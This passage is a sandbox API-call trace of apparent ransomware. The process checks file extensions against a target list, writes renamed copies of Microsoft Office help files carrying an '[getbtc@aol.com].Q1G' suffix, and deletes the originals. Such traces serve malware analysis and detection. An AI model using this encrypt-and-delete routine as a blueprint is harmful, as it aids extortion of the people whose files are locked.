[0253.032] lstrlenW (lpString=".dbf") returned 4 [0253.032] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0253.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.032] lstrlenW (lpString=".1cd") returned 4 [0253.032] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0253.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.032] lstrlenW (lpString=".jpg") returned 4 [0253.032] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0253.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.032] lstrlenW (lpString=".doc") returned 4 [0253.032] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0253.032] lstrlenW (lpString=".docx") returned 5 [0253.032] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0253.032] lstrlenW (lpString=".pdf") returned 4 [0253.032] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0253.032] lstrlenW (lpString=".xls") returned 4 [0253.032] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0253.032] lstrlenW (lpString=".xlsx") returned 5 [0253.032] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0253.032] lstrlenW (lpString=".ppt") returned 4 [0253.032] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0253.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.032] lstrlenW (lpString=".zip") returned 4 [0253.032] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0253.032] lstrlenW (lpString=".rar") returned 4 [0253.032] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0253.032] lstrlenW (lpString=".bz2") returned 4 [0253.032] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0253.032] lstrlenW (lpString=".7z") returned 3 [0253.033] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0253.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.033] lstrlenW (lpString=".dbf") returned 4 [0253.033] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0253.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.033] lstrlenW (lpString=".1cd") returned 4 [0253.033] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0253.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0253.033] lstrlenW (lpString=".jpg") returned 4 [0253.033] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0253.033] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0253.033] lstrlenW (lpString="OUTLOOK_COL.HXT") returned 15 [0253.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.033] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=207) returned 1 [0253.033] CloseHandle (hObject=0x1f4) returned 1 [0253.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt")) returned 0x20 [0253.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.034] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.034] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.034] GetLastError () returned 0x0 [0253.034] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xcf, lpOverlapped=0x0) returned 1 [0253.035] WriteFile (in: hFile=0x324, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0253.036] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.036] WriteFile (in: hFile=0x324, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0253.036] SetEndOfFile (hFile=0x324) returned 1 [0253.036] CloseHandle (hObject=0x324) returned 1 [0253.036] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.036] SetEndOfFile (hFile=0x1f4) returned 1 [0253.038] CloseHandle (hObject=0x1f4) returned 1 [0253.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt")) returned 1 [0253.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.039] lstrlenW (lpString=".doc") returned 4 [0253.039] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0253.039] lstrlenW (lpString=".docx") returned 5 [0253.039] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0253.039] lstrlenW (lpString=".pdf") returned 4 [0253.039] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0253.040] lstrlenW (lpString=".xls") returned 4 [0253.040] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0253.040] lstrlenW (lpString=".xlsx") returned 5 [0253.040] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0253.040] lstrlenW (lpString=".ppt") returned 4 [0253.040] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0253.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.040] lstrlenW (lpString=".zip") returned 4 [0253.040] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0253.040] lstrlenW (lpString=".rar") returned 4 [0253.040] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0253.040] lstrlenW (lpString=".bz2") returned 4 [0253.040] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0253.040] lstrlenW (lpString=".7z") returned 3 [0253.040] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0253.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.040] lstrlenW (lpString=".dbf") returned 4 [0253.040] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0253.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.040] lstrlenW (lpString=".1cd") returned 4 [0253.040] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0253.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.040] lstrlenW (lpString=".jpg") returned 4 [0253.040] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0253.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.040] lstrlenW (lpString=".doc") returned 4 [0253.040] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0253.040] lstrlenW (lpString=".docx") returned 5 [0253.040] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0253.040] lstrlenW (lpString=".pdf") returned 4 [0253.040] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0253.040] lstrlenW (lpString=".xls") returned 4 [0253.040] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0253.040] lstrlenW (lpString=".xlsx") returned 5 [0253.040] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0253.040] lstrlenW (lpString=".ppt") returned 4 [0253.041] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0253.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.041] lstrlenW (lpString=".zip") returned 4 [0253.041] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0253.041] lstrlenW (lpString=".rar") returned 4 [0253.041] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0253.041] lstrlenW (lpString=".bz2") returned 4 [0253.041] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0253.041] lstrlenW (lpString=".7z") returned 3 [0253.041] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0253.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.041] lstrlenW (lpString=".dbf") returned 4 [0253.041] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0253.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.041] lstrlenW (lpString=".1cd") returned 4 [0253.041] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0253.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0253.041] lstrlenW (lpString=".jpg") returned 4 [0253.041] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0253.041] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0253.041] lstrlenW (lpString="OUTLOOK_F_COL.HXK") returned 17 [0253.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.042] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=114) returned 1 [0253.042] CloseHandle (hObject=0x1f4) returned 1 [0253.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk")) returned 0x20 [0253.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.042] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.042] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.043] GetLastError () returned 0x0 [0253.043] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x72, lpOverlapped=0x0) returned 1 [0253.044] WriteFile (in: hFile=0x324, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0253.044] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.044] WriteFile (in: hFile=0x324, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0253.044] SetEndOfFile (hFile=0x324) returned 1 [0253.045] CloseHandle (hObject=0x324) returned 1 [0253.045] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.045] SetEndOfFile (hFile=0x1f4) returned 1 [0253.047] CloseHandle (hObject=0x1f4) returned 1 [0253.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk")) returned 1 [0253.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.047] lstrlenW (lpString=".doc") returned 4 [0253.047] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.047] lstrlenW (lpString=".docx") returned 5 [0253.047] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.048] lstrlenW (lpString=".pdf") returned 4 [0253.048] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.048] lstrlenW (lpString=".xls") returned 4 [0253.048] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.048] lstrlenW (lpString=".xlsx") returned 5 [0253.048] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.048] lstrlenW (lpString=".ppt") returned 4 [0253.048] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.048] lstrlenW (lpString=".zip") returned 4 [0253.048] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.048] lstrlenW (lpString=".rar") returned 4 [0253.048] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.048] lstrlenW (lpString=".bz2") returned 4 [0253.048] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.048] lstrlenW (lpString=".7z") returned 3 [0253.048] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.048] lstrlenW (lpString=".dbf") returned 4 [0253.048] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.048] lstrlenW (lpString=".1cd") returned 4 [0253.048] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.048] lstrlenW (lpString=".jpg") returned 4 [0253.048] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.048] lstrlenW (lpString=".doc") returned 4 [0253.048] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.048] lstrlenW (lpString=".docx") returned 5 [0253.048] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.048] lstrlenW (lpString=".pdf") returned 4 [0253.048] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.048] lstrlenW (lpString=".xls") returned 4 [0253.048] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.048] lstrlenW (lpString=".xlsx") returned 5 [0253.048] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.049] lstrlenW (lpString=".ppt") returned 4 [0253.049] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.049] lstrlenW (lpString=".zip") returned 4 [0253.049] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.049] lstrlenW (lpString=".rar") returned 4 [0253.049] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.049] lstrlenW (lpString=".bz2") returned 4 [0253.049] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.049] lstrlenW (lpString=".7z") returned 3 [0253.049] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.049] lstrlenW (lpString=".dbf") returned 4 [0253.049] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.049] lstrlenW (lpString=".1cd") returned 4 [0253.049] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0253.049] lstrlenW (lpString=".jpg") returned 4 [0253.049] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.049] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0253.049] lstrlenW (lpString="OUTLOOK_K_COL.HXK") returned 17 [0253.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.050] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=113) returned 1 [0253.050] CloseHandle (hObject=0x1f4) returned 1 [0253.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk")) returned 0x20 [0253.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.050] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.050] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.051] GetLastError () returned 0x0 [0253.051] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x71, lpOverlapped=0x0) returned 1 [0253.051] WriteFile (in: hFile=0x324, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0253.052] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.052] WriteFile (in: hFile=0x324, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0253.052] SetEndOfFile (hFile=0x324) returned 1 [0253.053] CloseHandle (hObject=0x324) returned 1 [0253.053] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.053] SetEndOfFile (hFile=0x1f4) returned 1 [0253.055] CloseHandle (hObject=0x1f4) returned 1 [0253.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk")) returned 1 [0253.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.056] lstrlenW (lpString=".doc") returned 4 [0253.056] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.056] lstrlenW (lpString=".docx") returned 5 [0253.056] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.056] lstrlenW (lpString=".pdf") returned 4 [0253.056] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.056] lstrlenW (lpString=".xls") returned 4 [0253.056] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.056] lstrlenW (lpString=".xlsx") returned 5 [0253.056] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.056] lstrlenW (lpString=".ppt") returned 4 [0253.056] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.056] lstrlenW (lpString=".zip") returned 4 [0253.056] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.056] lstrlenW (lpString=".rar") returned 4 [0253.056] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.056] lstrlenW (lpString=".bz2") returned 4 [0253.056] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.056] lstrlenW (lpString=".7z") returned 3 [0253.056] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.056] lstrlenW (lpString=".dbf") returned 4 [0253.056] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.057] lstrlenW (lpString=".1cd") returned 4 [0253.057] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0253.057] lstrlenW (lpString=".jpg") returned 4 [0253.057] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.057] 